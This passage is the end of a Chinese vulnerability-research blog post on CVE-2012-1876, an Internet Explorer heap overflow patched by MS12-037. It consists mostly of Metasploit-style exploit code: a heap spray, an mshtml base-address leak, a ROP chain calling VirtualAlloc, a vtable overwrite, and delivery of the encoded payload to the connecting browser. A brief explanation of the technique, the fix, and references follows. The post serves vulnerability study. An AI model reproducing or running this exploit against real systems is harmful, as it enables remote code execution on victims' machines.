0x4c4c4c4c, # &Writable location
0x4d4d4d4d, # POP EAX # RETN
0x4e4e4e4e, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x4f4f4f4f, # PUSHAD # ADD AL,0EF # RETN
0x50505050, # ptr to 'push esp # ret '
].pack("V*")
return rop
end

def check_dependencies
use_zlib
end

#* 路由响应函数
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# Encode some fake shellcode (breakpoints)
#code = "\xcc" * 400
#code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

heap_determinism = <<-JS

var leak_index = -1;

var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;

var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;

var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;

//spray
var arr = new Array();
var rra = new Array();

var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {

// E
rra[i] = dap.substring(0, (0x100-6)/2);

// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);

// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);

// B
var obj = document.createElement("button");
div_container.appendChild(obj);

}

for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
JS

table_builder = ''
0.upto(132) do |i|
table_builder << "<table style=\"table-layout:fixed\" ><col id=\"#{i}\" width=\"41\" span=\"9\" >&nbsp </col></table>"
end

# shellcode
#js_code = Rex::Text.to_unescape("\xcc" * 540, Rex::Arch.endian(target.arch))
js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

trigger_js = <<-SJ
var obj_col = document.getElementById("132");
obj_col.span = 19;

function over_trigger() {
var leak_addr = -1;
for ( var i = 0; i < 500; i++ ) {
if ( arr[i].length > (0x100-6)/2 ) { // overflowed
leak_index = i;
var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
mshtmlbase = leak_addr - Number(0x001582b8);
alert(mshtmlbase);
break;
}
}
if ( leak_addr == -1 || leak_index == -1 ) { alert("memory leak failed...."); }
//return mshtmlbase;
}

// A very special heap spray
function heap_spray(){
CollectGarbage();
var heapobj = new Object();

// generated with mona.py (mshtml.dll v)
function rop_chain(mshtmlbase){
var arr = [
mshtmlbase + Number(0x00001031),
mshtmlbase + Number(0x00002c78), // pop ebp; retn
mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
mshtmlbase + Number(0x00352c8b), // pop eax; retn
mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT]
mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn
mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn
mshtmlbase + Number(0x00455a9c), // pop ebp; retn
mshtmlbase + Number(0x00128b8d), // & jmp esp
mshtmlbase + Number(0x00061436), // pop ebx; retn
0x00000001, // 0x00000001-> ebx
mshtmlbase + Number(0x0052d8a3), // pop edx; retn
0x00001000, // 0x00001000-> edx
mshtmlbase + Number(0x00003670), // pop ecx; retn
0x00000040, // 0x00000040-> ecx
mshtmlbase + Number(0x001d263d), // pop edi; retn
mshtmlbase + Number(0x000032ac), // retn
mshtmlbase + Number(0x00352c9f), // pop eax; retn
0x90909090, // nop
mshtmlbase + Number(0x0052e805), // pushad; retn
0x90909090,
0x90909090,
0x90909090,
0x90909090,
0x90909090,
];
return arr;
}

function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}

function tab2uni(heapobj, tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += heapobj.d2u(tab[i]);
}
return uni;
}

heapobj.tab2uni = tab2uni;
heapobj.d2u = d2u;
heapobj.rop_chain = rop_chain;

var code = unescape("#{js_code}");
var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
var shellcode = rop_chain + code

while (shellcode.length < 100000)
shellcode = shellcode + shellcode;
var onemeg = shellcode.substr(0, 64*1024/2);
for (i=0; i<14; i++) {
onemeg += shellcode.substr(0, 64*1024/2);
}

onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
var spray = new Array();

for (i=0; i<400; i++) {
spray[i] = onemeg.substr(0, onemeg.length);
}
}

function smash_vtable(){
var obj_col_0 = document.getElementById("132");
obj_col_0.width = "1178993"; // smash the vftable 0x07070024
obj_col_0.span = "44"; // the amount to overwrite
}

var mshtmlbase = "";
setTimeout("over_trigger();",1);
setTimeout("heap_spray();",400);
setTimeout("smash_vtable();",700);
SJ

# build html

content = <<-HTML
<html>
<body>
<div id="test"></div>
<script language='javascript'>
#{heap_determinism}
</script>
#{table_builder}
<script language='javascript'>
#{trigger_js}
</script>
</body>
</html>
HTML

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)
end

end

Vupen 为其构造的 Exploit 堪称是绕过 ASLR 进行漏洞利用的教课书,因此 CVE-2012-1876 常作为经典案例出现在漏洞研究相关的各类资料与文献中。MSF 的 Exploit 堆砌稍做了修改,但差别不大。漏洞触发和利用的思路为通过 Heap Spray 控制内存布局,构建表格触发堆溢出,通过第一次堆溢出获得 .dll 库的基址,第二次溢出劫持虚表然后通过 ROP 链创建可执行内存区域并执行 Payload。

经典且为人熟知所以在此不再赘述,可以参阅知道创宇的博客-WinDbg 漏洞分析调试(二)或漏洞战争一书原文。不过有一个精简版的 exploit 我觉得很有意思也贴在这(转自migraine-sudo师傅)

漏洞修复

MS12-037 补丁将堆块使用逻辑修改为了只要 span 属性值发生更改就重新分配对应大小的堆块而不再像之前一样复用堆块进而修复了漏洞

Reference

NVD - CVE-2012-1876
CVE - CVE-2012-1876
Microsoft 安全公告 MS12-037 - 严重
Exploit Database - CVE-2012-1876
Github - CVE-2012-1876
漏洞战争
Internet Explorer Architecture
SeeBug WinDbg 漏洞分析调试(二)

  • Title: CVE-2012-1876 漏洞研究
  • Author: 7erry
  • Created at : 2024-09-25 18:53:57
  • Updated at : 2024-09-25 18:53:57
  • Link: http://7erry.com/2024/09/25/CVE-2012-1876-漏洞研究/
  • License: This work is licensed under CC BY-NC 4.0.